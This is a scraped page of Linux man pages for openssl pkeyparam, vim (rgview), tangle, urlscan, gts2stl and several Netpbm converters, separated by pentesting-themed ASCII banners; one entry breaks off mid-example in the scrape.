░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1315 - Linux cli command openssl-pkeyparamssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-pkeyparamssl and provides detailed information about the command openssl-pkeyparamssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-pkeyparamssl.

NAME 🖥️ openssl-pkeyparamssl 🖥️

pkeyparam - public key algorithm parameter processing command

SYNOPSIS

openssl pkeyparam [-help] [-in filename] [-out filename] [-text] [-noout] [-check] [-engine id] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command processes public key algorithm parameters. They can be checked for correctness and their components printed out.

OPTIONS

-help
Print out a usage message.

-in filename
This specifies the input filename to read parameters from or standard input if this option is not specified.

-out filename
This specifies the output filename to write parameters to or standard output if this option is not specified.

-text
Prints out the parameters in plain text in addition to the encoded version.

-noout
Do not output the encoded version of the parameters.

-check
This option checks the correctness of parameters.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

EXAMPLES

Print out text version of parameters:

openssl pkeyparam -in param.pem -text

NOTES

There are no -inform or -outform options for this command because only PEM format is supported because the key type is determined by the PEM headers.

SEE ALSO

openssl (1), openssl-genpkey (1), openssl-rsa (1), openssl-pkcs8 (1), openssl-dsa (1), openssl-genrsa (1), openssl-gendsa (1)

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2006-2021 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1316 - Linux cli command rgview

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rgview and provides detailed information about the command rgview, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rgview.

NAME 🖥️ rgview 🖥️

Vi IMproved, a programmer’s text editor

SYNOPSIS

vim [options] [file ..]
vim [options] -
vim [options] -t tag
vim [options] -q [errorfile]

ex
view
gvim gview evim eview
rvim rview rgvim rgview

DESCRIPTION

Vim is a text editor that is upwards compatible to Vi. It can be used to edit all kinds of plain text. It is especially useful for editing programs.

There are a lot of enhancements above Vi: multi level undo, multi windows and buffers, syntax highlighting, command line editing, filename completion, on-line help, visual selection, etc.. See “:help vi_diff.txt” for a summary of the differences between Vim and Vi.

While running Vim a lot of help can be obtained from the on-line help system, with the “:help” command. See the ON-LINE HELP section below.

Most often Vim is started to edit a single file with the command

vim file

More generally Vim is started with:

vim [options] [filelist]

If the filelist is missing, the editor will start with an empty buffer. Otherwise exactly one out of the following four may be used to choose one or more files to be edited.

file ..
A list of filenames. The first one will be the current file and read into the buffer. The cursor will be positioned on the first line of the buffer. You can get to the other files with the “:next” command. To edit a file that starts with a dash, precede the filelist with “–”.

-
The file to edit is read from stdin. Commands are read from stderr, which should be a tty.

-t {tag}
The file to edit and the initial cursor position depends on a “tag”, a sort of goto label. {tag} is looked up in the tags file, the associated file becomes the current file and the associated command is executed. Mostly this is used for C programs, in which case {tag} could be a function name. The effect is that the file containing that function becomes the current file and the cursor is positioned on the start of the function. See “:help tag-commands”.

-q [errorfile]
Start in quickFix mode. The file [errorfile] is read and the first error is displayed. If [errorfile] is omitted, the filename is obtained from the ’errorfile’ option (defaults to “AztecC.Err” for the Amiga, “errors.err” on other systems). Further errors can be jumped to with the “:cn” command. See “:help quickfix”.

Vim behaves differently, depending on the name of the command (the executable may still be the same file).

vim
The “normal” way, everything is default.

ex
Start in Ex mode. Go to Normal mode with the “:vi” command. Can also be done with the “-e” argument.

view
Start in read-only mode. You will be protected from writing the files. Can also be done with the “-R” argument.

gvim gview
The GUI version. Starts a new window. Can also be done with the “-g” argument.

evim eview
The GUI version in easy mode. Starts a new window. Can also be done with the “-y” argument.

rvim rview rgvim rgview
Like the above, but with restrictions. It will not be possible to start shell commands, or suspend Vim. Can also be done with the “-Z” argument.

OPTIONS

The options may be given in any order, before or after filenames. Options without an argument can be combined after a single dash.

+[num]
For the first file the cursor will be positioned on line “num”. If “num” is missing, the cursor will be positioned on the last line.

+/{pat}
For the first file the cursor will be positioned in the line with the first occurrence of {pat}. See “:help search-pattern” for the available search patterns.

+{command}
-c {command}
{command} will be executed after the first file has been read. {command} is interpreted as an Ex command. If the {command} contains spaces it must be enclosed in double quotes (this depends on the shell that is used). Example: vim “+set si” main.c
Note: You can use up to 10 “+” or “-c” commands.

-S {file}
{file} will be sourced after the first file has been read. This is equivalent to -c “source {file}”. {file} cannot start with ‘-’. If {file} is omitted “Session.vim” is used (only works when -S is the last argument).

–cmd {command}
Like using “-c”, but the command is executed just before processing any vimrc file. You can use up to 10 of these commands, independently from “-c” commands.

-A
If Vim has been compiled with ARABIC support for editing right-to-left oriented files and Arabic keyboard mapping, this option starts Vim in Arabic mode, i.e. ‘arabic’ is set. Otherwise an error message is given and Vim aborts.

-b
Binary mode. A few options will be set that makes it possible to edit a binary or executable file.

-C
Compatible. Set the ‘compatible’ option. This will make Vim behave mostly like Vi, even though a .vimrc file exists.

-d
Start in diff mode. There should between two to eight file name arguments. Vim will open all the files and show differences between them. Works like vimdiff(1).

-d {device}, -dev {device}
Open {device} for use as a terminal. Only on the Amiga. Example: “-d con:20/30/600/150”.

-D
Debugging. Go to debugging mode when executing the first command from a script.

-e
Start Vim in Ex mode, just like the executable was called “ex”.

-E
Start Vim in improved Ex mode, just like the executable was called “exim”.

-f
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in. On the Amiga, Vim is not restarted to open a new window. This option should be used when Vim is executed by a program that will wait for the edit session to finish (e.g. mail). On the Amiga the “:sh” and “:!” commands will not work.

–nofork
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in.

-F
If Vim has been compiled with FKMAP support for editing right-to-left oriented files and Farsi keyboard mapping, this option starts Vim in Farsi mode, i.e. ‘fkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-g
If Vim has been compiled with GUI support, this option enables the GUI. If no GUI support was compiled in, an error message is given and Vim aborts.

–gui-dialog-file {name}
When using the GUI, instead of showing a dialog, write the title and message of the dialog to file {name}. The file is created or appended to. Only useful for testing, to avoid that the test gets stuck on a dialog that can’t be seen. Without the GUI the argument is ignored.

–help, -h, -?
Give a bit of help about the command line arguments and options. After this Vim exits.

-H
If Vim has been compiled with RIGHTLEFT support for editing right-to-left oriented files and Hebrew keyboard mapping, this option starts Vim in Hebrew mode, i.e. ‘hkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-i {viminfo}
Specifies the filename to use when reading or writing the viminfo file, instead of the default “~/.viminfo”. This can also be used to skip the use of the .viminfo file, by giving the name “NONE”.

-L
Same as -r.

-l
Lisp mode. Sets the ’lisp’ and ‘showmatch’ options on.

-m
Modifying files is disabled. Resets the ‘write’ option. You can still modify the buffer, but writing a file is not possible.

-M
Modifications not allowed. The ‘modifiable’ and ‘write’ options will be unset, so that changes are not allowed and files can not be written. Note that these options can be set to enable making modifications.

-N
No-compatible mode. Resets the ‘compatible’ option. This will make Vim behave a bit better, but less Vi compatible, even though a .vimrc file does not exist.

-n
No swap file will be used. Recovery after a crash will be impossible. Handy if you want to edit a file on a very slow medium (e.g. floppy). Can also be done with “:set uc=0”. Can be undone with “:set uc=200”.

-nb
Become an editor server for NetBeans. See the docs for details.

-o[N]
Open N windows stacked. When N is omitted, open one window for each file.

-O[N]
Open N windows side by side. When N is omitted, open one window for each file.

-p[N]
Open N tab pages. When N is omitted, open one tab page for each file.

-P {parent-title}
Win32 GUI only: Specify the title of the parent application. When possible, Vim will run in an MDI window inside the application. {parent-title} must appear in the window title of the parent application. Make sure that it is specific enough. Note that the implementation is still primitive. It won’t work with all applications and the menu doesn’t work.

-R
Read-only mode. The ‘readonly’ option will be set. You can still edit the buffer, but will be prevented from accidentally overwriting a file. If you do want to overwrite a file, add an exclamation mark to the Ex command, as in “:w!”. The -R option also implies the -n option (see above). The ‘readonly’ option can be reset with “:set noro”. See “:help ‘readonly’”.

-r
List swap files, with information about using them for recovery.

-r {file}
Recovery mode. The swap file is used to recover a crashed editing session. The swap file is a file with the same filename as the text file with “.swp” appended. See “:help recovery”.

-s
Silent mode. Only when started as “Ex” or when the “-e” option was given before the “-s” option.

-s {scriptin}
The script file {scriptin} is read. The characters in the file are interpreted as if you had typed them. The same can be done with the command “:source! {scriptin}”. If the end of the file is reached before the editor exits, further characters are read from the keyboard.

-T {terminal}
Tells Vim the name of the terminal you are using. Only required when the automatic way doesn’t work. Should be a terminal known to Vim (builtin) or defined in the termcap or terminfo file.

–not-a-term
Tells Vim that the user knows that the input and/or output is not connected to a terminal. This will avoid the warning and the two second delay that would happen.

–ttyfail
When stdin or stdout is not a a terminal (tty) then exit right away.

-u {vimrc}
Use the commands in the file {vimrc} for initializations. All the other initializations are skipped. Use this to edit a special kind of files. It can also be used to skip all initializations by giving the name “NONE”. See “:help initialization” within vim for more details.

-U {gvimrc}
Use the commands in the file {gvimrc} for GUI initializations. All the other GUI initializations are skipped. It can also be used to skip all GUI initializations by giving the name “NONE”. See “:help gui-init” within vim for more details.

-V[N]
Verbose. Give messages about which files are sourced and for reading and writing a viminfo file. The optional number N is the value for ‘verbose’. Default is 10.

-V[N]{filename}
Like -V and set ‘verbosefile’ to {filename}. The result is that messages are not displayed but written to the file {filename}. {filename} must not start with a digit.

–log {filename}
If Vim has been compiled with eval and channel feature, start logging and write entries to {filename}. This works like calling ch_logfile({filename}, ‘ao’) very early during startup.

-v
Start Vim in Vi mode, just like the executable was called “vi”. This only has effect when the executable is called “ex”.

-w{number}
Set the ‘window’ option to {number}.

-w {scriptout}
All the characters that you type are recorded in the file {scriptout}, until you exit Vim. This is useful if you want to create a script file to be used with “vim -s” or “:source!”. If the {scriptout} file exists, characters are appended.

-W {scriptout}
Like -w, but an existing file is overwritten.

-x
Use encryption when writing files. Will prompt for a crypt key.

-X
Don’t connect to the X server. Shortens startup time in a terminal, but the window title and clipboard will not be used.

-y
Start Vim in easy mode, just like the executable was called “evim” or “eview”. Makes Vim behave like a click-and-type editor.

-Z
Restricted mode. Works like the executable starts with “r”.


Denotes the end of the options. Arguments after this will be handled as a file name. This can be used to edit a filename that starts with a ‘-’.

–clean
Do not use any personal configuration (vimrc, plugins, etc.). Useful to see if a problem reproduces with a clean Vim setup.

–echo-wid
GTK GUI only: Echo the Window ID on stdout.

–literal
Take file name arguments literally, do not expand wildcards. This has no effect on Unix where the shell expands wildcards.

–noplugin
Skip loading plugins. Implied by -u NONE.

–remote
Connect to a Vim server and make it edit the files given in the rest of the arguments. If no server is found a warning is given and the files are edited in the current Vim.

–remote-expr {expr}
Connect to a Vim server, evaluate {expr} in it and print the result on stdout.

–remote-send {keys}
Connect to a Vim server and send {keys} to it.

–remote-silent
As –remote, but without the warning when no server is found.

–remote-wait
As –remote, but Vim does not exit until the files have been edited.

–remote-wait-silent
As –remote-wait, but without the warning when no server is found.

–serverlist
List the names of all Vim servers that can be found.

–servername {name}
Use {name} as the server name. Used for the current Vim, unless used with a –remote argument, then it’s the name of the server to connect to.

–socketid {id}
GTK GUI only: Use the GtkPlug mechanism to run gvim in another window.

–startuptime {file}
During startup write timing messages to the file {fname}.

–version
Print version information and exit.

–windowid {id}
Win32 GUI only: Make gvim try to use the window {id} as a parent, so that it runs inside that window.

ON-LINE HELP

Type “:help” in Vim to get started. Type “:help subject” to get help on a specific subject. For example: “:help ZZ” to get help for the “ZZ” command. Use <Tab> and CTRL-D to complete subjects (":help cmdline-completion"). Tags are present to jump from one place to another (sort of hypertext links, see “:help”). All documentation files can be viewed in this way, for example “:help syntax.txt”.

FILES

/usr/local/share/vim/vim??/doc/*.txt
The Vim documentation files. Use “:help doc-file-list” to get the complete list.
vim?? is short version number, like vim91 for Vim 9.1

/usr/local/share/vim/vim??/doc/tags
The tags file used for finding information in the documentation files.

/usr/local/share/vim/vim??/syntax/syntax.vim
System wide syntax initializations.

/usr/local/share/vim/vim??/syntax/*.vim
Syntax files for various languages.

/usr/local/share/vim/vimrc
System wide Vim initializations.

~/.vimrc, ~/.vim/vimrc, $XDG_CONFIG_HOME/vim/vimrc
Your personal Vim initializations (first one found is used).

/usr/local/share/vim/gvimrc
System wide gvim initializations.

~/.gvimrc, ~/.vim/gvimrc, $XDG_CONFIG_HOME/vim/gvimrc
Your personal gvim initializations (first one found is used).

/usr/local/share/vim/vim??/optwin.vim
Script used for the “:options” command, a nice way to view and set options.

/usr/local/share/vim/vim??/menu.vim
System wide menu initializations for gvim.

/usr/local/share/vim/vim??/bugreport.vim
Script to generate a bug report. See “:help bugs”.

/usr/local/share/vim/vim??/filetype.vim
Script to detect the type of a file by its name. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/scripts.vim
Script to detect the type of a file by its contents. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/print/*.ps
Files used for PostScript printing.

For recent info read the VIM home page:
<URL:http://www.vim.org/>

SEE ALSO

vimtutor(1)

AUTHOR

Most of Vim was made by Bram Moolenaar, with a lot of help from others. See “:help credits” in Vim.
Vim is based on Stevie, worked on by: Tim Thompson, Tony Andrews and G.R. (Fred) Walter. Although hardly any of the original code remains.

BUGS

Probably. See “:help todo” for a list of known problems.

Note that a number of things that may be regarded as bugs by some, are in fact caused by a too-faithful reproduction of Vi’s behaviour. And if you think other things are bugs “because Vi does it differently”, you should take a closer look at the vi_diff.txt file (or type :help vi_diff.txt when in Vim). Also have a look at the ‘compatible’ and ‘cpoptions’ options.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1317 - Linux cli command tangle

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tangle and provides detailed information about the command tangle, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tangle.

NAME 🖥️ tangle 🖥️

translate WEB to Pascal

SYNOPSIS

tangle [options] webfile[.web] [{changefile[.ch]|-} [outfile[.p]]]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Web2C: A TeX implementation.

The tangle program converts a Web source document into a Pascal program that may be compiled in the usual way with the on-line Pascal compiler (e.g., pc(1)). The output file is packed into lines of 72 characters or less, with the only concession to readability being the termination of lines at semicolons when this can be done conveniently.

The Web language allows you to prepare a single document containing all the information that is needed both to produce a compilable Pascal program and to produce a well-formatted document describing the program in as much detail as the writer may desire. The user of Web must be familiar with both TeX and Pascal. Web also provides a relatively simple, although adequate, macro facility that permits a Pascal program to be written in small easily-understood modules.

The command line should have one, two or three names on it. The first is taken as the Web file (and .web is added if there is no extension). If there is second name, it is a change file (and .ch is added if there is no extension). The change file overrides parts of the Web file, as described in the Web system documentation.

If there is a third name, it is the Pascal output file (and .p is added if there is no extension). In this case you can specify an empty change file with ‘-’ as the second argument. Otherwise the name of the Pascal file is formed by adding .p to the root of the Web file name.

An optional second output file is a string pool file, whose name is formed by adding .pool to the root of the Pascal file name.

OPTIONS

This version of tangle understands the following options. Note that some of these options may render the output unsuitable for processing by a Pascal compiler.

–help
Print help message and exit.

–length* number*
Compare only the first number characters of identifiers when checking for collisions. The default is 32, the original tangle used 7.

–loose
When checking for collisions between identifiers, honor the settings of the –lowercase, –mixedcase, –uppercase, and –underline options. This is the default.

–lowercase
Convert all identifiers to lowercase.

–mixedcase
Retain the case of identifiers. This is the default.

–strict
When checking for collisions between identifiers, strip underlines and convert all identifiers to uppercase first.

–underline
Retain underlines (also known as underscores) in identifiers.

–uppercase
Convert all identifiers to uppercase. This is the behaviour of the original tangle.

–version
Print version information and exit.

ENVIRONMENT

The environment variable WEBINPUTS is used to search for the input files, or the system default if WEBINPUTS is not set. See tex(1) for the details of the searching.

SEE ALSO

pc(1), pxp(1) (for formatting tangle output when debugging), tex(1).

Donald E. Knuth, The Web System of Structured Documentation.

Donald E. Knuth, Literate Programming, Computer Journal 27, 97-111, 1984.

Wayne Sewell, Weaving a Program, Van Nostrand Reinhold, 1989, ISBN 0-442-31946-0.

Donald E. Knuth, TeX: The Program (Volume B of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13437-3.

Donald E. Knuth, Metafont: The Program (Volume D of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13438-1.

These last two are by far the largest extant examples of Web programs.

There is an active Internet electronic mail discussion list on the subject of literate programming; send a subscription request to [email protected] to join.

AUTHORS

Web was designed by Donald E. Knuth, based on an earlier system called DOC (implemented by Ignacio Zabala). The tangle and weave programs are themselves written in Web. The system was originally ported to Unix at Stanford by Howard Trickey, and at Cornell by Pavel Curtis.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1318 - Linux cli command urlscan

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command urlscan and provides detailed information about the command urlscan, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the urlscan.

NAME 🖥️ urlscan 🖥️

browse the URLs in an email message from a terminal

SYNOPSIS

urlscan [options] < message

urlscan [options] message

DESCRIPTION

urlscan accepts a single email message on standard input, then displays a terminal-based list of the URLs in the given message. Selecting a URL uses the Python webbrowser module to determine which browser to open. The BROWSER environment variable will be used if it is set.

urlscan is primarily intended to be used with the mutt (1) mailreader, but it should work well with any terminal-based mail program.

urlscan is similar to urlview(1), but has the following additional features:

1. Support for more message encodings, such as quoted-printable and base64.

2. Extraction and display of the context surrounding each URL. Toggle context view on/off with c. Reverse displayed order of URLs with R.

3. Copy current URL to primary selection with P or to clipboard with C.

4. URLs are shortened by default to fit on one line. Toggle one or all shortened URLs with s or S.

5. Incremental case-insensitive search using /. Footer shows current search term. / again resets search.

6. Cycle through all available palettes (color and black & white available by default) using p. Running urlscan -g will generate a ~/.config/urlscan/config.json file for editing or adding additional pallettes and keybindings. See

http://urwid.org/manual/displayattributes.html#display-attributes

for color options and allowed values. Set display width with `–width`.

7. u will unescape the highlighted URL if necessary.

8. Run a command with the selected URL as the argument or pipe the selected URL to a command using the –run-safe, –run and –pipe arguments.

9. Use l to cycle through whether URLs are opened using the Python webbrowser module (default), xdg-open (if installed) or a function passed on the command line with –run-safe or –run. The –run and –run-safe functions will respect the value of –pipe.

10. F1 shows the help menu.

11. Scan certain email headers for URLs. Currently Link, Archived-At and List-* are scanned when –headers is passed.

12. Queue multiple URLs for opening and open them all at once with a and o.

OPTIONS

-c, –compact
Display a simple list of the extracted URLs, instead of showing the context of each URL. Also toggle with `c` from within the viewer.

-d, –dedupe
Remove duplicated URLs from the list of URLs.

-E, –regex <expression>
Use <expression> in place of the default set of regular expressions, to be used for any kind of matching. This is useful for example when selectively avoiding ‘mailto:’ links or any other pattern that urlscan could interpret as urls (such as ‘<filename>.<extension>’). Usage example:

$ urlscan –regex ‘https?://.+.+’ file.txt

-f, –run-safe <expression>
Execute <expression> in place of opening URL with a browser. Use {} in <expression> to substitute in the URL. Examples:

$ urlscan –run-safe ’tmux set buffer {}’

-g, –genconf
Generate ~/.config/urlscan/config.json with default options.

-H, –nohelp
Start with header menu hidden.

–headers
Scan email headers for URLs.

-n, –no-browser
Disables the selection interface and print the links to standard output. Useful for scripting (implies –compact).

-p, –pipe
Pipe the selected URL to the command specified by `–run-safe` or `–run`. This is preferred when the command supports it, as it is more secure and tolerant of special characters in the URL. Example:

$ urlscan –run-safe ‘xclip -i’ –pipe file.txt

-R, –reverse
Reverse displayed order of URLs.

-r, –run <expression>
Execute <expression> in place of opening URL with a browser. Use {} in <expression> to substitute in the URL. Shell features such as   and > can be used, but it is less secure. Examples:

$ urlscan –run ’echo {} | xclip -i’ file.txt

-s, –single
Exit urlscan after opening or copying a single browser link.

$ urlscan -s file.txt

-w, –width
Set display width.

-W, –whitespace-off
Suppress output of blank lines and ellipses lines.

MUTT INTEGRATION

To integrate urlscan with mutt, include the following two commands in ~/.muttrc:

macro index,pager

1319 - Linux cli command gts2stl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gts2stl and provides detailed information about the command gts2stl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gts2stl.

NAME 🖥️ gts2stl 🖥️

converts a GTS file to STL format

SYNOPSIS

gts2stl [ OPTIONS ] < *input.gts *> output.stl

DESCRIPTION

This manual page documents briefly the gts2stl command.

OPTIONS

This program follow the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

-r, –revert
Revert face normals.

-v, –verbose
Display surface statistics.

-h, –help
Display the help and exit.

AUTHOR

gts2stl was written by Stephane Popinet <[email protected]>.

This manual page was written by Ruben Molina <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1320 - Linux cli command pbmtosunicon

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtosunicon and provides detailed information about the command pbmtosunicon, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtosunicon.

.

NAME 🖥️ pbmtosunicon 🖥️

convert a PBM image into a Sun icon

SYNOPSIS

pbmtosunicon [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtosunicon reads a PBM image as input and produces a Sun icon as output.

OPTIONS

There are no command line options defined specifically for pbmtosunicon, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

sunicontopnm(1) , ppmtowinicon(1) , pbmtozinc(1) , ppmtouil(1) , pbm(1)

AUTHOR

Copyright (C) 1988 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtosunicon.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1321 - Linux cli command pbmtoybm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtoybm and provides detailed information about the command pbmtoybm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtoybm.

.

NAME 🖥️ pbmtoybm 🖥️

convert a PBM image into a Bennet Yee “face” file

SYNOPSIS

pbmtoybm

[pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtoybm reads a PBM image as input and produces as output a file acceptable to the face and xbm programs by Bennet Yee ([email protected]).

OPTIONS

There are no command line options defined specifically for pbmtoybm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

ybmtopbm(1) , pbm(1) ,

AUTHOR

Copyright (C) 1991 by Jamie Zawinski and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtoybm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1322 - Linux cli command ppmtorgb3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtorgb3 and provides detailed information about the command ppmtorgb3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtorgb3.

.

NAME 🖥️ ppmtorgb3 🖥️

separate a PPM image into three PGMs

SYNOPSIS

ppmtorgb3

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtorgb3 reads a PPM image as input and writes three PGM images as output, one each for red, green, and blue.

